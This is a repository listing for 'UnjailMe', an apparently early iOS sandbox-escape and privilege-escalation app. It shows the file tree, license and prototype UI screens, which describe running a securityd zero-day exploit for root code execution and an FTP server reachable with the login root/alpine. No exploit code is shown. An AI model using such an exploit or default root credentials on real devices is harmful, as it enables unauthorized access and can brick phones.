├── Default.png ├── LICENSE ├── NEWUI ├── assets │ ├── 4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg │ ├── f1352971179296 │ │ └── 6c2aa2fbd4c82e783951548eab4164f8.svg │ └── generated │ │ └── b0a2a6e58cba73da2d0b8dc3e0ac8fe8_ffffff.svg ├── data │ └── data.js ├── frame.html ├── images │ └── player │ │ ├── actions-sprite-1.png │ │ └── touch-cursor-64.png ├── index.html ├── libraries │ ├── common │ │ ├── components.1.00.css │ │ └── components.js │ └── ios7 │ │ ├── components.1.00.css │ │ └── components.js ├── outputlog ├── scripts │ ├── player-engine-export-min.js │ ├── plugins │ │ ├── aframe │ │ │ ├── aframe-gif-shader.protoio.custom.js │ │ │ └── aframe.protoio.custom.js │ │ └── bodymovin │ │ │ └── bodymovin.min.js │ └── preview-export-min.js └── stylesheets │ ├── player-engine-export-min.css │ └── preview-export-min.css ├── README.md ├── _config.yml ├── b.png ├── session_hijacking.png ├── unjailme.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcuserdata │ │ └── semvoigtlander.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcuserdata │ └── semvoigtlander.xcuserdatad │ ├── xcdebugger │ └── Breakpoints_v2.xcbkptlist │ └── xcschemes │ └── xcschememanagement.plist ├── unjailme ├── .DS_Store ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets │ └── AppIcon.appiconset │ │ └── Contents.json ├── Base.lproj │ ├── LaunchScreen.storyboard │ └── Main.storyboard ├── BaseBoard.h ├── Info.plist ├── ViewController.h ├── ViewController.m ├── exploit.h ├── exploit.m ├── log.h ├── main.m ├── unjailme.xcdatamodeld │ ├── .xccurrentversion │ └── unjailme.xcdatamodel │ │ └── contents └── utils │ ├── APIManager.h │ ├── APIManager.m │ ├── devicehelper.h │ ├── endianhelper.c │ ├── endianhelper.h │ ├── lorgnette-structs.h │ ├── lorgnette.c │ ├── lorgnette.h │ └── machhelper.h ├── unjailmeTests ├── Info.plist └── unjailmeTests.m └── unjailmeUITests ├── Info.plist └── unjailmeUITests.m /Default.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/Default.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | ANYONE BUT Timmy Sun LICENSE 2 | 3 | Copyright (c) 2018 MTJailed 4 | 5 | Permission is hereby granted, free of charge, to any person except Timmy Sun obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /NEWUI/assets/4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/NEWUI/assets/4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg -------------------------------------------------------------------------------- /NEWUI/assets/f1352971179296/6c2aa2fbd4c82e783951548eab4164f8.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /NEWUI/assets/generated/b0a2a6e58cba73da2d0b8dc3e0ac8fe8_ffffff.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /NEWUI/data/data.js: -------------------------------------------------------------------------------- 1 | prx.xdata = {"cc":37,"data":{"template":{"id":"","stateid":""},"items":[{"name":"image","type":"image","lib":"common","caption":"download (3).jpg","imgSrc":{"fileId":"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg","assetType":"project","bucketsource":"main","name":"download (3).jpg"},"repeat":false,"width":416,"height":312,"borderWidth":0,"borderRadius":0,"borderColor":"#000000","borderPos":"inside","propagateEvents":false,"actions":[],"overlay":false,"autoResize":false,"aspectratio":1.3350515463917525,"left":-2,"top":0,"visible":true,"id":"box-33","group":"root","zindex":1,"hpos":"left","vpos":"top","wtype":"fixed","htype":"fixed","opacity":1,"borderStyle":"solid","rotation":0,"scale":1},{"name":"image","type":"image","lib":"common","caption":"download (3).jpg 2","imgSrc":{"fileId":"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg","assetType":"project","bucketsource":"main","name":"download (3).jpg"},"repeat":false,"width":416,"height":312,"borderWidth":0,"borderRadius":0,"borderColor":"#000000","borderPos":"inside","propagateEvents":false,"actions":[],"overlay":false,"autoResize":false,"aspectratio":1.3350515463917525,"left":-2,"top":296,"visible":true,"id":"box-34","group":"root","zindex":1,"hpos":"left","vpos":"top","wtype":"fixed","htype":"fixed","opacity":1,"borderStyle":"solid","rotation":0,"scale":1},{"name":"image","type":"image","lib":"common","caption":"download (3).jpg 3","imgSrc":{"fileId":"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg","assetType":"project","bucketsource":"main","name":"download (3).jpg"},"repeat":false,"width":416,"height":312,"borderWidth":0,"borderRadius":0,"borderColor":"#000000","borderPos":"inside","propagateEvents":false,"actions":[],"overlay":false,"autoResize":false,"aspectratio":1.3350515463917525,"left":-2,"top":424,"visible":true,"id":"box-35","group":"root","zindex":1,"hpos":"left","vpos":"top","wtype":"fixed","htype":"fixed","opacity":1,"borderStyle":"solid","rotation":0,"scale":1},{"name":"ios11_titlebar","type":"ios11_titlebar","lib":"ios7","caption":"Titlebar 1","width":250,"height":41,"backgroundColor":"#FFF","title":"Wait About 20-30 Seconds Before Exiting!","textFont":"San Francisco UI Display Regular","textSize":34,"textColor":"#000000","textProperties":[],"left":81,"top":26,"vpos":"top","hpos":"left","visible":true,"id":"box-36","group":"root","zindex":2,"wtype":"fixed","htype":"fixed","opacity":1,"rotation":0,"scale":1,"aspectratio":false},{"name":"text","type":"text","lib":"common","caption":"UI by Ringarang (@de...","text":"UI by Ringarang (@demboissoftware)
Abraham (@cheesecakeufo) for his securityd zeroday
Vulnerability and initial PoC: Rani Idan (Zimperium) <3<
PureFTPd
liblorgnette project (with my own slight improvements)
Special thanks to Pureftpd YOU ROCK!



Sourcecode can be given if asked on twitter via DM (@MTJailed) Please donate, I have very little time and means to work on such projects! \"http://paypal.me/devsupport\" Soon sourcecode (Except for ftp) will be here on GitHub.","textFont":"sans-serif,Helvetica Neue,Arial","textSize":17,"textColor":"000000","backgroundColor":"none","width":344,"height":360,"lineHeight":20,"textProperties":[],"textAlign":"left","textSpacing":0,"enableShadow":false,"autoResize":false,"v2":true,"left":34,"top":156,"vpos":"top","hpos":"left","visible":true,"id":"box-37","group":"root","zindex":3,"wtype":"fixed","htype":"fixed","opacity":1,"propagateEvents":false,"lineHeightAuto":true,"rotation":0,"scale":1,"aspectratio":false}]},"fonts":[],"grid":{"grid":{"size":50,"subdivisions":5},"gridsystem":{"portrait":{"col_number":3,"col_width":118,"gutter_width":20,"margins":10},"landscape":{"col_number":3,"col_width":225.33333333333334,"gutter_width":20,"margins":10}},"guides":{}},"savedColors":[],"iSelectedPage":2,"iSelectedTemplate":-1,"iSelectedSymbol":-1,"iSelectedState":0,"libraries":{"common":true,"icons":true,"sounds":true,"ios9":true,"ios7":true},"maxpageid":3,"maxsymbolid":0,"maxtemplateid":0,"project":{"startscreenlandscape":1,"navigationbar":"0","statusbar":"0","startscreen":1,"projectid":"c614a407-f640-480e-bb39-43f47d688d17"},"sort":{"pages":{"type":"custom","custom":[]},"containers":{"type":"custom","custom":[]},"templates":{"type":"custom","custom":[]}},"variables":{},"v5":true,"v5x11":true,"richtext":true,"iscrolljs":true,"expandableCompat":true,"dropboxfs":true,"ios9":true,"galleryAssetsToStaticV2":true,"templatesCompatibility":"done","groupsV2":true,"stateTransitionUpgraded":true,"groupToContainerCompatibilityV2":true,"device":{"dpr":1,"portrait_applies":1,"landscape_applies":1,"portrait":[414,736],"landscape":[736,414],"uuid":"e4476308-f421-47d0-856e-bacf59c35c02","defaultOrientation":"portrait"},"transition":"{\"duration\":250,\"delay\":0,\"easing\":\"out\"}","customEasings":{},"stateTransitionToMSUpgraded":true,"pages":[{"navigationbar":0,"statusbar":0,"orientation":"portrait","actions":[],"title":"Home","id":1,"states":[{"data":"[{\"name\":\"ios7_statusbar\",\"type\":\"ios7_statusbar\",\"lib\":\"ios7\",\"caption\":\"Statusbar 1\",\"width\":414,\"height\":20,\"backgroundColor\":\"#000000\",\"foregroundColor\":\"#ffffff\",\"textFont\":\"San Francisco UI Text Regular\",\"overlay\":false,\"left\":0,\"top\":0,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-1\",\"group\":\"root\",\"zindex\":1,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg\",\"imgSrc\":{\"bucketsource\":\"main\",\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"name\":\"download (3).jpg\",\"assetType\":\"project\"},\"repeat\":false,\"width\":414,\"height\":310,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1,\"left\":-2,\"top\":20,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-6\",\"group\":\"root\",\"zindex\":4,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1,\"locked\":false},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg 2\",\"imgSrc\":{\"bucketsource\":\"main\",\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"name\":\"download (3).jpg\",\"assetType\":\"project\"},\"repeat\":false,\"width\":414,\"height\":310,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1,\"left\":-2,\"top\":426,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-7\",\"group\":\"root\",\"zindex\":4,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1,\"locked\":false},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg 3\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":414,\"height\":310,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":-2,\"top\":201,\"visible\":true,\"id\":\"box-12\",\"group\":\"root\",\"zindex\":5,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"Image 2\",\"imgSrc\":{\"fileId\":\"dc2deb2dcf8b61c55b10bb84c0a290cd.svg\",\"name\":\"kub-locked.svg\",\"assetType\":\"icon\",\"bucketsource\":\"static\",\"url\":\"f1352971179296/6c2aa2fbd4c82e783951548eab4164f8.svg\"},\"repeat\":false,\"width\":100,\"height\":100,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[{\"title\":\"Interaction 1\",\"type\":\"tap\",\"actionId\":\"toggle-item\",\"pageId\":\"1\",\"itemId\":\"box-14\",\"animationEasing\":\"out\",\"duration\":\"400\",\"delay\":\"0\",\"callback\":false,\"guid\":\"79dc67a7-7247-4938-b7c5-9f974c769415\",\"sort\":null}],\"overlay\":false,\"autoResize\":true,\"aspectratio\":1,\"left\":157,\"top\":306,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-5\",\"group\":\"root\",\"zindex\":3,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"ios11_titlebar\",\"type\":\"ios11_titlebar\",\"lib\":\"ios7\",\"caption\":\"Titlebar 1\",\"width\":250,\"height\":41,\"backgroundColor\":\"#FFF\",\"title\":\"UnJail Me\",\"textFont\":\"HelveticaNeue, Helvetica, Verdana, Arial, sans-serif\",\"textSize\":\"36\",\"textColor\":\"#000000\",\"textProperties\":[],\"left\":131,\"top\":257,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-13\",\"group\":\"root\",\"zindex\":6,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"ios7_alert\",\"type\":\"ios7_alert\",\"lib\":\"ios7\",\"caption\":\"Alert 1\",\"image\":\"https://dteyv52hbg2at.cloudfront.net/devices/ios7/alert/image.png\",\"width\":250,\"height\":184,\"backgroundColor\":\"rgba(255,255,255,0.95)\",\"borderColor\":\"#CCCCCC\",\"borderRadius\":13,\"textFont\":\"San Francisco UI Text Regular\",\"textSize\":17,\"textColor\":\"#333333\",\"title\":\"Are You Sure?\",\"text\":\"This Exploit is in very early alpha, the code is unoptimised and IOS could be irreversably bricked/damaged. IF YOU HAVE NO IDEA WHAT BRICKING IS DO NOT USE THIS FOR THE LOVE OF GOD!\",\"buttons\":[{\"actions\":[{\"title\":\"Interaction 1\",\"type\":\"tap\",\"actionId\":\"hide-item\",\"pageId\":\"1\",\"itemId\":\"box-14\",\"animationEasing\":\"out\",\"duration\":\"400\",\"delay\":\"0\",\"callback\":false,\"guid\":\"ca902379-2904-4300-aab5-5c565acb9d15\",\"sort\":null}],\"text\":\"Cancel\",\"textColor\":\"#1B9AF7\",\"textProperties\":[]},{\"actions\":[{\"title\":\"Interaction 1\",\"type\":\"tap\",\"actionId\":\"go-to-page\",\"pageId\":\"2\",\"animation\":\"slide\",\"animationEasing\":\"Cubic.easeOut\",\"duration\":\"400\",\"delay\":\"0\",\"callback\":false,\"guid\":\"8aa95a3c-57ce-4219-b6c9-c8726bb34933\",\"sort\":null}],\"text\":\"OK\",\"textColor\":\"#1B9AF7\",\"textProperties\":[\"bold\"]}],\"left\":80,\"top\":242,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":false,\"id\":\"box-14\",\"group\":\"root\",\"zindex\":7,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"rotation\":0,\"scale\":1,\"aspectratio\":false,\"textProperties\":[]}]","actions":[],"title":"State 1","template":{"id":"","stateid":""},"id":"689A4882-EF1A-7574-BF31B8E439176AEE","background":"none","history":[],"groups":{}}]},{"id":2,"title":"Exploit Runner","orientation":"portrait","statusbar":"0","navigationbar":"0","actions":[],"states":[{"title":"State 1","background":"none","data":"[{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg 3\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":414,\"height\":310,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":0,\"top\":246,\"visible\":true,\"id\":\"box-23\",\"group\":\"root\",\"zindex\":2,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":414,\"height\":310,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":0,\"top\":0,\"visible\":true,\"id\":\"box-21\",\"group\":\"root\",\"zindex\":2,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg 2\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":414,\"height\":310,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":0,\"top\":426,\"visible\":true,\"id\":\"box-22\",\"group\":\"root\",\"zindex\":2,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"text\",\"type\":\"text\",\"lib\":\"common\",\"caption\":\"The exploit is being...\",\"text\":\"The exploit is being run please note that your phone may respring

This is NOT a jailbreakThe project aims to escalate privilige so code can be ran outside the sandbox with system rightsThis does not give you the ability to write to the rootfilesystem Do not expect proper code injection (like houdini), currently no code execution yet at all.This project is meant for developers and researchers Why is this even a thing? If code injection works jailbreak developers can start development for 11.2 to 11.2.5\",\"textFont\":\"sans-serif,Helvetica Neue,Arial\",\"textSize\":17,\"textColor\":\"000000\",\"backgroundColor\":\"none\",\"width\":383,\"height\":260,\"lineHeight\":20,\"textProperties\":[],\"textAlign\":\"left\",\"textSpacing\":0,\"enableShadow\":false,\"autoResize\":false,\"v2\":true,\"left\":15,\"top\":451,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-28\",\"group\":\"root\",\"zindex\":5,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"propagateEvents\":false,\"lineHeightAuto\":true,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"text\",\"type\":\"text\",\"lib\":\"common\",\"caption\":\"FTP Access (sandboxe...\",\"text\":\"FTP Access (sandboxed currently, unsandboxed in the future) Visual PoC PoC by zerodium (Finally slightly imrpoved, can make call to system() function) PoC by Abraham, which should be able to run arbitrary code as root, perfect for ssh.\",\"textFont\":\"sans-serif,Helvetica Neue,Arial\",\"textSize\":17,\"textColor\":\"000000\",\"backgroundColor\":\"none\",\"width\":367,\"height\":120,\"lineHeight\":20,\"textProperties\":[],\"textAlign\":\"left\",\"textSpacing\":0,\"enableShadow\":false,\"autoResize\":false,\"v2\":true,\"left\":23,\"top\":59,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-29\",\"group\":\"root\",\"zindex\":6,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"propagateEvents\":false,\"lineHeightAuto\":true,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"ios11_titlebar\",\"type\":\"ios11_titlebar\",\"lib\":\"ios7\",\"caption\":\"Titlebar 1\",\"width\":289,\"height\":41,\"backgroundColor\":\"#FFF\",\"title\":\"What This Can DO\",\"textFont\":\"San Francisco UI Display Regular\",\"textSize\":34,\"textColor\":\"#000000\",\"textProperties\":[],\"left\":63,\"top\":18,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-30\",\"group\":\"root\",\"zindex\":7,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"text\",\"type\":\"text\",\"lib\":\"common\",\"caption\":\"The FTP server Is on...\",\"text\":\"The FTP server Is on port 21
And can be accessed with the
user: root
pass: alpine
Special thanks to Pureftpd YOU ROCK!\",\"textFont\":\"sans-serif,Helvetica Neue,Arial\",\"textSize\":17,\"textColor\":\"000000\",\"backgroundColor\":\"none\",\"width\":362,\"height\":100,\"lineHeight\":20,\"textProperties\":[],\"textAlign\":\"left\",\"textSpacing\":0,\"enableShadow\":false,\"autoResize\":false,\"v2\":true,\"left\":16,\"top\":208,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-31\",\"group\":\"root\",\"zindex\":8,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"propagateEvents\":false,\"lineHeightAuto\":true,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"ios7_button_bg\",\"type\":\"ios7_button_bg\",\"lib\":\"ios7\",\"caption\":\"Button with Background 1\",\"image\":\"https://dteyv52hbg2at.cloudfront.net/devices/ios7/button_bg/image.png\",\"width\":200,\"height\":44,\"backgroundColor\":\"#1B9AF7\",\"borderWidth\":0,\"borderColor\":\"#FFFFFF\",\"borderRadius\":8,\"text\":\"Finish\",\"textFont\":\"San Francisco UI Text Light\",\"textSize\":17,\"textColor\":\"#FFFFFF\",\"textProperties\":[],\"textAlign\":\"center\",\"iconpos\":\"none\",\"img\":{\"fileId\":\"c0877fc419aa836a4097f4f982a53a59.svg\",\"name\":\"chevron-left.svg\",\"assetType\":\"icon\",\"bucketsource\":\"static\",\"url\":\"f1352971179296/b0a2a6e58cba73da2d0b8dc3e0ac8fe8.svg\",\"targetSrc\":\"generated/b0a2a6e58cba73da2d0b8dc3e0ac8fe8_ffffff.svg\",\"color\":\"ffffff\"},\"left\":107,\"top\":346,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-32\",\"group\":\"root\",\"zindex\":9,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"rotation\":0,\"scale\":1,\"aspectratio\":false,\"actions\":[{\"title\":\"Interaction 1\",\"type\":\"tap\",\"actionId\":\"go-to-page\",\"pageId\":\"3\",\"animation\":\"slideup-overlay\",\"animationEasing\":\"Cubic.easeOut\",\"duration\":\"400\",\"delay\":\"0\",\"callback\":false,\"guid\":\"079cb363-bfcf-4700-bebb-92331d39c2f0\",\"sort\":null}]}]","template":{"id":"","stateid":""},"history":[],"id":"f4ce13b5-5544-428b-b6af-8737980bb05c","actions":[],"groups":{}}]},{"id":3,"title":"Credits","orientation":"portrait","statusbar":"0","navigationbar":"0","actions":[],"states":[{"title":"State 1","background":"none","data":"[{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":416,\"height\":312,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":-2,\"top\":0,\"visible\":true,\"id\":\"box-33\",\"group\":\"root\",\"zindex\":1,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg 2\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":416,\"height\":312,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":-2,\"top\":296,\"visible\":true,\"id\":\"box-34\",\"group\":\"root\",\"zindex\":1,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"image\",\"type\":\"image\",\"lib\":\"common\",\"caption\":\"download (3).jpg 3\",\"imgSrc\":{\"fileId\":\"4c4ddc8ad37615d8f5ce8b44bf2b04e4.jpg\",\"assetType\":\"project\",\"bucketsource\":\"main\",\"name\":\"download (3).jpg\"},\"repeat\":false,\"width\":416,\"height\":312,\"borderWidth\":0,\"borderRadius\":0,\"borderColor\":\"#000000\",\"borderPos\":\"inside\",\"propagateEvents\":false,\"actions\":[],\"overlay\":false,\"autoResize\":false,\"aspectratio\":1.3350515463917525,\"left\":-2,\"top\":424,\"visible\":true,\"id\":\"box-35\",\"group\":\"root\",\"zindex\":1,\"hpos\":\"left\",\"vpos\":\"top\",\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"borderStyle\":\"solid\",\"rotation\":0,\"scale\":1},{\"name\":\"ios11_titlebar\",\"type\":\"ios11_titlebar\",\"lib\":\"ios7\",\"caption\":\"Titlebar 1\",\"width\":250,\"height\":41,\"backgroundColor\":\"#FFF\",\"title\":\"Wait About 20-30 Seconds Before Exiting!\",\"textFont\":\"San Francisco UI Display Regular\",\"textSize\":34,\"textColor\":\"#000000\",\"textProperties\":[],\"left\":81,\"top\":26,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-36\",\"group\":\"root\",\"zindex\":2,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"rotation\":0,\"scale\":1,\"aspectratio\":false},{\"name\":\"text\",\"type\":\"text\",\"lib\":\"common\",\"caption\":\"UI by Ringarang (@de...\",\"text\":\"UI by Ringarang (@demboissoftware)
Abraham (@cheesecakeufo) for his securityd zeroday
Vulnerability and initial PoC: Rani Idan (Zimperium) <3<
PureFTPd
liblorgnette project (with my own slight improvements)
Special thanks to Pureftpd YOU ROCK!



Sourcecode can be given if asked on twitter via DM (@MTJailed) Please donate, I have very little time and means to work on such projects! \\\"http://paypal.me/devsupport\\\" Soon sourcecode (Except for ftp) will be here on GitHub.\",\"textFont\":\"sans-serif,Helvetica Neue,Arial\",\"textSize\":17,\"textColor\":\"000000\",\"backgroundColor\":\"none\",\"width\":344,\"height\":360,\"lineHeight\":20,\"textProperties\":[],\"textAlign\":\"left\",\"textSpacing\":0,\"enableShadow\":false,\"autoResize\":false,\"v2\":true,\"left\":34,\"top\":156,\"vpos\":\"top\",\"hpos\":\"left\",\"visible\":true,\"id\":\"box-37\",\"group\":\"root\",\"zindex\":3,\"wtype\":\"fixed\",\"htype\":\"fixed\",\"opacity\":1,\"propagateEvents\":false,\"lineHeightAuto\":true,\"rotation\":0,\"scale\":1,\"aspectratio\":false}]","template":{"id":"","stateid":""},"history":[],"id":"abbd86d2-9368-452e-bf67-f859c754eb8d","actions":[],"groups":{}}]}],"templates":[],"symbols":[],"saveversion":47,"_imgs_version":1520616888,"makescrollable":0}; prx.xdata_str = JSON.stringify(prx.xdata); -------------------------------------------------------------------------------- /NEWUI/frame.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | ui (SCaleable)???? for other iphones? 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 |
59 | 60 | 73 | 74 |
75 | 76 |
77 | 78 |
79 |
80 |
81 | 82 | 83 |
84 | 85 |
86 | 87 |
88 |
89 | 90 |
91 | 92 |
93 | 94 | 95 |
96 | 97 |
98 |
99 |
100 | 101 |
102 | 103 |
104 | 105 | 106 | 107 | 108 |
